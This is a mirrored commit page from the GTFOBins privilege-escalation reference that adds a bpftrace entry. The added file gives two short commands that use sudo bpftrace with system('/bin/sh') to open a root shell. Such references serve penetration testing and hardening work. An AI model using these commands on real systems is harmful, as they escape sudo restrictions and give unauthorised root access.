mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-08-23 17:44:49 +02:00
Add bpftrace sudo shell
This commit is contained in:
9
_gtfobins/bpftrace.md
Normal file
9
_gtfobins/bpftrace.md
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo:
|
||||||
|
- code: sudo bpftrace -e 'BEGIN {system("/bin/sh")}'
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo 'BEGIN {system("/bin/sh")}' >$TF
|
||||||
|
sudo bpftrace $TF
|
||||||
|
---
|
Reference in New Issue
Block a user